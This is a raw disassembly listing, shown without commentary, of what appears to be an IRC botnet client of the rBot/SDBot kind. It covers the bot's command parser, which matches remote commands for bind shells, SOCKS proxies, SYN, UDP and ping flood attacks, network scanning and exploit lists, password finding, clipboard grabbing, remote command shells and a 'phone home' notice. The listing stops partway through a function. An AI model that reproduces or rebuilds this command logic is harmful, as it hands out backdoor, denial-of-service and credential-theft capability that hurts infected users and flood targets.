mov cl, byte_429094
mov [eax+3], cl
lea ecx, dword_43DBB8[edi]
push 9Fh
add eax, 4
push ecx
push eax
call sub_41BFD0
lea eax, [ebp+esi+var_50]
add esp, 0Ch
mov [ebp+arg_20], 0Fh
mov [ebp+arg_C], eax
loc_40263B: ; CODE XREF: sub_401ACD+C1Fj
push [ebp+arg_20]
lea eax, [ebp+var_A0]
push offset aD_0 ; "$%d-"
push eax
call sub_41C266
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_41C2E0
add esp, 14h
test eax, eax
jz short loc_4026A7
mov eax, [ebp+arg_C]
cmp [eax], ebx
jz short loc_4026A7
lea eax, dword_43DBA0[edi]
push eax
call sub_41B9C0
add [ebp+var_C], eax
pop ecx
jz short loc_4026E2
mov eax, [ebp+arg_C]
push dword ptr [eax-4]
push [ebp+var_C]
call sub_41C2E0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4026E2
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_41843B
add esp, 0Ch
jmp short loc_4026E2
; ---------------------------------------------------------------------------
loc_4026A7: ; CODE XREF: sub_401ACD+B96j
; sub_401ACD+B9Dj
mov eax, [ebp+arg_C]
cmp [eax], ebx
jnz short loc_4026E2
lea eax, [ebp+var_A0]
push 2
push eax
lea eax, [ebp+var_94]
push eax
call sub_41BFD0
lea eax, [ebp+var_94]
mov [ebp+var_92], bl
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_41843B
add esp, 18h
loc_4026E2: ; CODE XREF: sub_401ACD+BAFj
; sub_401ACD+BC3j ...
dec [ebp+arg_20]
sub [ebp+arg_C], 4
cmp [ebp+arg_20], ebx
jg loc_40263B
lea eax, [ebp+esi+var_50]
mov [ebp+arg_20], 10h
mov edi, eax
loc_4026FF: ; CODE XREF: sub_401ACD+C7Ej
push [ebp+arg_20]
lea eax, [ebp+var_A0]
push offset aD ; "$%d"
push eax
call sub_41C266
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_41C2E0
add esp, 14h
test eax, eax
jz short loc_402742
mov eax, [edi]
cmp eax, ebx
jz short loc_402742
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_41843B
add esp, 0Ch
loc_402742: ; CODE XREF: sub_401ACD+C5Aj
; sub_401ACD+C60j
dec [ebp+arg_20]
sub edi, 4
cmp [ebp+arg_20], ebx
jg short loc_4026FF
mov [ebp+var_2C8], 1
loc_402757: ; CODE XREF: sub_401ACD+AE6j
; sub_401ACD+B14j
mov eax, [ebp+arg_8]
mov al, [eax]
cmp al, byte_429094
jz short loc_402770
cmp [ebp+var_2C8], ebx
jz loc_402961
loc_402770: ; CODE XREF: sub_401ACD+C95j
push [ebp+arg_10]
mov edi, [ebp+arg_0]
push offset aMe ; "$me"
push edi
call sub_41843B
lea eax, [ebp+var_C4]
push eax
push offset aUser_2 ; "$user"
push edi
call sub_41843B
push [ebp+var_88]
push offset aChan ; "$chan"
push edi
call sub_41843B
push ebx
push ebx
lea eax, [ebp+var_A0]
push 2
push eax
call sub_40AE84
push eax
push offset aRndnick_0 ; "$rndnick"
push edi
call sub_41843B
add esp, 40h
push [ebp+arg_14]
push offset aServer_1 ; "$server"
push edi
call sub_41843B
mov edi, offset aChr ; "$chr("
push edi
push [ebp+arg_0]
call sub_41C2E0
add esp, 14h
loc_4027E2: ; CODE XREF: sub_401ACD+E0Dj
test eax, eax
jz loc_4028DF
push edi
push [ebp+arg_0]
call sub_41C2E0
mov [ebp+arg_10], eax
add eax, 5
push 4
push eax
lea eax, [ebp+var_A0]
push eax
call sub_41BFD0
lea eax, [ebp+var_A0]
push offset asc_42CAB4 ; ")"
push eax
call sub_41CAD4
add esp, 1Ch
cmp [ebp+var_A0], 30h
jl short loc_40282E
cmp [ebp+var_A0], 39h
jle short loc_402844
loc_40282E: ; CODE XREF: sub_401ACD+D56j
push 3
lea eax, [ebp+var_A0]
push offset a63 ; "63"
push eax
call sub_41BFD0
add esp, 0Ch
loc_402844: ; CODE XREF: sub_401ACD+D5Fj
lea eax, [ebp+var_A0]
push eax
call sub_41C159
test eax, eax
pop ecx
jle short loc_40286A
lea eax, [ebp+var_A0]
push eax
call sub_41C159
pop ecx
mov [ebp+var_94], al
jmp short loc_40287E
; ---------------------------------------------------------------------------
loc_40286A: ; CODE XREF: sub_401ACD+D86j
call sub_41C2C2
push 60h
cdq
pop ecx
idiv ecx
add dl, 20h
mov [ebp+var_94], dl
loc_40287E: ; CODE XREF: sub_401ACD+D9Bj
lea eax, [ebp+var_A0]
mov [ebp+var_93], bl
push eax
call sub_41B9C0
mov [ebp+arg_20], eax
push 0Ch
lea eax, [ebp+var_A0]
push ebx
push eax
call sub_41BF70
mov eax, [ebp+arg_20]
add eax, 6
push eax
lea eax, [ebp+var_A0]
push [ebp+arg_10]
push eax
call sub_41BFD0
lea eax, [ebp+var_94]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_41843B
push edi
push [ebp+arg_0]
call sub_41C2E0
add esp, 30h
jmp loc_4027E2
; ---------------------------------------------------------------------------
loc_4028DF: ; CODE XREF: sub_401ACD+D17j
mov edi, 1FFh
lea eax, [ebp+var_428C]
push edi
push [ebp+arg_0]
push eax
call sub_41BFD0
lea eax, [ebp+var_428C]
push edi
push eax
lea eax, [ebp+var_4EF8]
push eax
call sub_41BFD0
lea eax, [ebp+var_4EF8]
push offset asc_42CDC8 ; " "
push eax
call sub_41CAD4
add esp, 20h
mov [ebp+var_90], eax
lea edi, [ebp+var_8C]
mov [ebp+arg_10], 1Fh
loc_40292F: ; CODE XREF: sub_401ACD+E77j
push offset asc_42CDC8 ; " "
push ebx
call sub_41CAD4
mov [edi], eax
pop ecx
add edi, 4
dec [ebp+arg_10]
pop ecx
jnz short loc_40292F
mov ecx, [ebp+esi+var_90]
lea eax, [ebp+esi+var_90]
cmp ecx, ebx
jz loc_401F75
add ecx, 3
mov [eax], ecx
loc_402961: ; CODE XREF: sub_401ACD+C9Dj
mov edi, [ebp+esi+var_90]
push edi
push offset aRndnick ; "rndnick"
mov [ebp+arg_8], edi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4095F2
push edi
push offset aRn ; "rn"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4095F2
push edi
push offset aDi3 ; "di3"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4049B3
push edi
push offset aDi3 ; "di3"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4049B3
push edi
push offset aLogout ; "logout"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404911
push edi
push offset aLo ; "lo"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404911
push edi
push offset aVersion ; "version"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404902
push edi
push offset aVer ; "ver"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404902
push edi
push offset aRulez ; "rulez"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4048F8
push edi
push offset aRz ; "rz"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4048F8
push edi
push offset aSpeedtest ; "speedtest"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4048DF
push edi
push offset aSt ; "st"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4048DF
push edi
push offset aSecure ; "secure"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4047E1
push edi
push offset aSec ; "sec"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4047E1
push edi
push offset aUnsecure ; "unsecure"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4047E1
push edi
push offset aUnsec ; "unsec"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4047E1
push edi
push offset aBindshell ; "bindshell"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4046DB
push edi
push offset aBd ; "bd"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4046DB
push edi
push offset aBindshellstop ; "bindshellstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402B0E
push [ebp+esi+var_8C]
push 6
push offset aServer_0 ; "Server"
push offset dword_42CA10
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402B0E: ; CODE XREF: sub_401ACD+1027j
push edi
push offset aSocks4 ; "socks4"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4045B9
push edi
push offset aS4 ; "s4"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4045B9
push edi
push offset aSocks4stop ; "socks4stop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402B61
push [ebp+esi+var_8C]
push 19h
push offset aServer_0 ; "Server"
push offset dword_42C9E8
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402B61: ; CODE XREF: sub_401ACD+107Aj
push edi
push offset aRloginstop ; "rloginstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402B8A
push [ebp+esi+var_8C]
push 9
push offset aServer_0 ; "Server"
push offset dword_42C9CC
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402B8A: ; CODE XREF: sub_401ACD+10A3j
push edi
push offset aHttpstop ; "httpstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402BB3
push [ebp+esi+var_8C]
push 3
push offset aServer_0 ; "Server"
push offset dword_42C9B0
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402BB3: ; CODE XREF: sub_401ACD+10CCj
push edi
push offset aLogstop ; "logstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402BDC
push [ebp+esi+var_8C]
push 25h
push offset dword_42C99C
push offset dword_42C990
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402BDC: ; CODE XREF: sub_401ACD+10F5j
push edi
push offset aRedirectstop ; "redirectstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402C05
push [ebp+esi+var_8C]
push 18h
push offset dword_42C970
push offset dword_42C960
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402C05: ; CODE XREF: sub_401ACD+111Ej
push edi
push offset dword_42C954
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402C2E
push [ebp+esi+var_8C]
push 0Dh
push offset dword_42C948
push offset dword_42C93C
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402C2E: ; CODE XREF: sub_401ACD+1147j
push edi
push offset aSynstop ; "synstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402C57
push [ebp+esi+var_8C]
push 0Eh
push offset dword_42C928
push offset dword_42C91C
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402C57: ; CODE XREF: sub_401ACD+1170j
push edi
push offset aSkysynstop ; "skysynstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402C80
push [ebp+esi+var_8C]
push 10h
push offset dword_42C900
push offset dword_42C8F0
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402C80: ; CODE XREF: sub_401ACD+1199j
push edi
push offset aTarga3stop ; "targa3stop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402CA9
push [ebp+esi+var_8C]
push 11h
push offset dword_42C8D4
push offset dword_42C8C4
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402CA9: ; CODE XREF: sub_401ACD+11C2j
push edi
push offset aWonkstop ; "wonkstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402CD2
push [ebp+esi+var_8C]
push 12h
push offset dword_42C8AC
push offset dword_42C8A0
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402CD2: ; CODE XREF: sub_401ACD+11EBj
push edi
push offset aPacketstop ; "packetstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_402E28
mov esi, [ebp+esi+var_8C]
mov edi, [ebp+arg_4]
push esi
push 0Dh
push offset dword_42C948
push offset dword_42C93C
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B648
push esi
push 0Eh
push offset dword_42C928
push offset dword_42C91C
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B648
add esp, 40h
push esi
push 17h
push offset dword_42C888
push offset dword_42C87C
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B648
push esi
push 16h
push offset dword_42C870
push offset dword_42C864
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B648
add esp, 40h
push esi
push 11h
push offset dword_42C8D4
push offset dword_42C8C4
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B648
push esi
push 12h
push offset dword_42C8AC
push offset dword_42C8A0
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B648
add esp, 40h
push esi
push 0Fh
push offset dword_42C854
push offset dword_42C844
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B648
push esi
push 13h
push offset dword_42C834
push offset dword_42C824
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B648
add esp, 40h
push esi
push 10h
push offset dword_42C900
push offset dword_42C8F0
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B648
push ebx
push [ebp+var_4]
push offset unk_42C7F0
push [ebp+var_88]
push edi
call sub_409869
add esp, 34h
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_402E28: ; CODE XREF: sub_401ACD+1214j
push edi
push offset aTsunamistop ; "tsunamistop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402E51
push [ebp+esi+var_8C]
push 0Fh
push offset dword_42C854
push offset dword_42C844
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402E51: ; CODE XREF: sub_401ACD+136Aj
push edi
push offset aWisdomstop ; "wisdomstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402E7A
push [ebp+esi+var_8C]
push 13h
push offset dword_42C834
push offset dword_42C824
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402E7A: ; CODE XREF: sub_401ACD+1393j
push edi
push offset aUdpstop ; "udpstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402EA3
push [ebp+esi+var_8C]
push 17h
push offset dword_42C888
push offset dword_42C87C
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402EA3: ; CODE XREF: sub_401ACD+13BCj
push edi
push offset aPingstop ; "pingstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402ECC
push [ebp+esi+var_8C]
push 16h
push offset dword_42C870
push offset dword_42C864
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402ECC: ; CODE XREF: sub_401ACD+13E5j
push edi
push offset aTftpstop ; "tftpstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402EF5
push [ebp+esi+var_8C]
push 5
push offset aServer_0 ; "Server"
push offset dword_42C7A8
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402EF5: ; CODE XREF: sub_401ACD+140Ej
push edi
push offset aFindfilestop ; "findfilestop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4045A1
push edi
push offset aFfstop ; "ffstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4045A1
push edi
push offset aProcsstop ; "procsstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404589
push edi
push offset aPsstop ; "psstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404589
push edi
push offset aClonestop ; "clonestop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402F72
push [ebp+esi+var_8C]
push 1Fh
push offset aClone ; "Clone"
push offset dword_42C758
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402F72: ; CODE XREF: sub_401ACD+148Bj
push edi
push offset aSecurestop ; "securestop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402F9B
push [ebp+esi+var_8C]
push 22h
push offset aSecure_0 ; "Secure"
push offset dword_42C734
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402F9B: ; CODE XREF: sub_401ACD+14B4j
push edi
push offset aScanstop ; "scanstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_402FC4
push [ebp+esi+var_8C]
push 0Bh
push offset aScan_0 ; "Scan"
push offset dword_42C714
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_402FC4: ; CODE XREF: sub_401ACD+14DDj
push edi
push offset aScanstats ; "scanstats"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404573
push edi
push offset aStats ; "stats"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404573
push edi
push offset aTransferstats ; "transferstats"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40455D
push edi
push offset aTrstats ; "trstats"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40455D
push edi
push offset aConnectbacksta ; "connectbackstats"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404547
push edi
push offset aCbstats ; "cbstats"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404547
push edi
push offset aExploitlist ; "exploitlist"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404531
push edi
push offset aExplist ; "explist"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404531
push edi
push offset aReconnect ; "reconnect"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404512
push edi
push offset aR ; "r"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404512
push edi
push offset aDisconnect ; "disconnect"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4044F0
push edi
push offset aDc ; "dc"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4044F0
push edi
push offset aQuit_0 ; "quit"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4044A8
push edi
push offset aQ ; "q"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4044A8
push edi
push offset aStatus ; "status"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404494
push edi
push offset aS_1 ; "s"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404494
push edi
push offset aId ; "id"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40445D
push edi
push offset aI ; "i"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40445D
push edi
push offset aR3start ; "r3start"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_403190
call sub_418884
test eax, eax
mov eax, offset unk_42C654
jnz short loc_403162
mov eax, offset unk_42C630
loc_403162: ; CODE XREF: sub_401ACD+168Ej
push eax
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 1Ch
jmp loc_4082DE
; ---------------------------------------------------------------------------
loc_403190: ; CODE XREF: sub_401ACD+1680j
push edi
push offset aThreads ; "threads"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40437E
push edi
push offset aT ; "t"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40437E
push edi
push offset aAliases ; "aliases"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40435B
push edi
push offset aAl ; "al"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40435B
push edi
push offset aLog ; "log"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404268
push edi
push offset aLg ; "lg"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404268
push edi
push offset aClearlog ; "clearlog"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40424C
push edi
push offset aClg ; "clg"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40424C
push edi
push offset aNetinfo ; "netinfo"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404212
push edi
push offset aNi ; "ni"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404212
push edi
push offset aSysinfo ; "sysinfo"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4041E7
push edi
push offset aSi ; "si"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4041E7
push edi
push offset aKosomaky4d ; "KOSOMAKY4D"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4041AD
push edi
push offset aKosomaky4d ; "KOSOMAKY4D"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4041AD
push edi
push offset aProcs ; "procs"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40408D
push edi
push offset aPs ; "ps"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40408D
push edi
push offset aUptime ; "uptime"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404005
push edi
push offset aUp ; "up"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_404005
push edi
push offset aDriveinfo ; "driveinfo"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403FE8
push edi
push offset aDrv ; "drv"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403FE8
push edi
push offset aTestdlls ; "testdlls"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403FCF
push edi
push offset aDll ; "dll"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403FCF
push edi
push offset aOpencmd ; "opencmd"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403F5B
push edi
push offset aOcmd ; "ocmd"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403F5B
push edi
push offset aCmdstop ; "cmdstop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_4033B1
push [ebp+esi+var_8C]
push 0Ah
push offset dword_42C57C
push offset dword_42C570
jmp loc_408D08
; ---------------------------------------------------------------------------
loc_4033B1: ; CODE XREF: sub_401ACD+18CAj
push edi
push offset dword_42C56C
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4034C7
cmp [ebp+var_8], ebx
jnz short loc_4033E5
push ebx
push [ebp+var_4]
push offset dword_42C558
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
loc_4033E5: ; CODE XREF: sub_401ACD+18FCj
mov eax, [ebp+arg_18]
xor edi, edi
mov [ebp+arg_18], eax
jmp short loc_4033F2
; ---------------------------------------------------------------------------
loc_4033EF: ; CODE XREF: sub_401ACD+196Cj
mov eax, [ebp+arg_18]
loc_4033F2: ; CODE XREF: sub_401ACD+1920j
cmp [eax], bl
jz short loc_4033F9
inc eax
jmp short loc_4033FE
; ---------------------------------------------------------------------------
loc_4033F9: ; CODE XREF: sub_401ACD+1927j
mov eax, offset aEmpty ; "<Empty>"
loc_4033FE: ; CODE XREF: sub_401ACD+192Aj
push eax
push edi
lea eax, [ebp+var_2C4]
push offset aD_S ; "%d. %s"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add [ebp+arg_18], 80h
add esp, 24h
inc edi
cmp edi, 3
jl short loc_4033EF
push offset unk_42C528
call sub_415D38
pop ecx
loc_403446: ; CODE XREF: sub_401ACD+1BFDj
; sub_401ACD+2EFAj
mov edi, [ebp+esi+var_8C]
cmp edi, ebx
mov [ebp+arg_20], edi
jz loc_401F75
push [ebp+arg_8]
push offset aSpoof ; "spoof"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_404AAB
push offset aOff ; "off"
push edi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4049D9
lea eax, [ebp+var_2C4]
push offset unk_42C4F4
push eax
mov dword_4CF190, ebx
call sub_41C266
pop ecx
pop ecx
loc_40349D: ; CODE XREF: sub_401ACD+2FD9j
cmp [ebp+var_8], ebx
jnz loc_409644
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
loc_4034BF: ; CODE XREF: sub_401ACD+7032j
add esp, 14h
jmp loc_409644
; ---------------------------------------------------------------------------
loc_4034C7: ; CODE XREF: sub_401ACD+18F3j
push edi
push offset aGetclip ; "getclip"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403F1A
push edi
push offset aGc ; "gc"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403F1A
push edi
push offset aFlusharp ; "flusharp"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403F03
push edi
push offset aFarp ; "farp"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403F03
push edi
push offset aFlushdns ; "flushdns"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403ECB
push edi
push offset aFdns ; "fdns"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403ECB
push edi
push offset aCurrentip ; "currentip"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403E91
push edi
push offset aCip ; "cip"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403E91
push edi
push offset aRloginserver ; "rloginserver"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403D56
push edi
push offset aRlogin ; "rlogin"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403D56
push edi
push offset aHttpserver ; "httpserver"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403BCA
push edi
push offset aHttp ; "http"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403BCA
push edi
push offset aTftpserver ; "tftpserver"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403A90
push edi
push offset aTftp ; "tftp"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403A90
push edi
push offset aShitycrash ; "shitycrash"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_403653
lea eax, [ebp+var_2C4]
push offset unk_42C44C
push eax
call sub_41C266
cmp [ebp+var_8], ebx
pop ecx
pop ecx
jnz short loc_403632
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
loc_403632: ; CODE XREF: sub_401ACD+1B47j
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
mov [esp+10h+var_10], offset aShitycrash ; "shitycrash"
push [ebp+esi+var_7C]
call sub_41CA50
jmp loc_4097D0
; ---------------------------------------------------------------------------
loc_403653: ; CODE XREF: sub_401ACD+1B2Fj
push edi
push offset aAsc ; "asc"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403789
push edi
push offset aAs ; "as"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403789
push edi
push offset aPhonehome ; "phonehome"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_4036AA
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: DADI Are You T"...
push [ebp+arg_4]
call sub_409823
loc_4036A2: ; CODE XREF: sub_401ACD+47Bj
add esp, 0Ch
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_4036AA: ; CODE XREF: sub_401ACD+1BBFj
push edi
push offset aFindpass ; "findpass"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_4036D0
push edi
push offset aFp ; "fp"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_403446
loc_4036D0: ; CODE XREF: sub_401ACD+1BECj
push [ebp+var_88]
lea eax, [ebp+var_FEC]
push 80h
push eax
call sub_41C360
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_FF0], eax
mov eax, [ebp+var_4]
mov [ebp+var_F68], eax
mov eax, [ebp+var_8]
mov [ebp+var_F64], eax
push offset unk_42C3CC
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41C360
push ebx
lea eax, [ebp+var_2C4]
push 26h
push eax
call sub_40B3BA
add esp, 18h
mov [ebp+var_F6C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_FF0]
push ebx
push eax
push offset sub_4172C1
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_F6C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E934[ecx], eax
jz short loc_403778
loc_403762: ; CODE XREF: sub_401ACD+1CA9j
cmp [ebp+var_F60], ebx
jnz loc_4082DE
push 32h
call dword_427080 ; Sleep
jmp short loc_403762
; ---------------------------------------------------------------------------
loc_403778: ; CODE XREF: sub_401ACD+1C93j
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42C390
jmp loc_4082CF
; ---------------------------------------------------------------------------
loc_403789: ; CODE XREF: sub_401ACD+1B95j
; sub_401ACD+1BAAj
mov al, byte_4319E2
mov [ebp+arg_0], ebx
cmp al, bl
mov edx, offset byte_4319E2
jz loc_401F75
mov ecx, edx
loc_4037A0: ; CODE XREF: sub_401ACD+1CDBj
inc [ebp+arg_0]
add ecx, 0Bh
cmp [ecx], bl
jnz short loc_4037A0
cmp al, bl
jz loc_401F75
mov [ebp+arg_18], edx
loc_4037B5: ; CODE XREF: sub_401ACD+1FAEj
push 0Bh
call sub_40B602
pop ecx
mov ecx, eax
mov eax, 190h
cdq
idiv [ebp+arg_0]
mov edx, eax
mov eax, 320h
add edx, ecx
cmp edx, eax
jle short loc_403808
push ecx
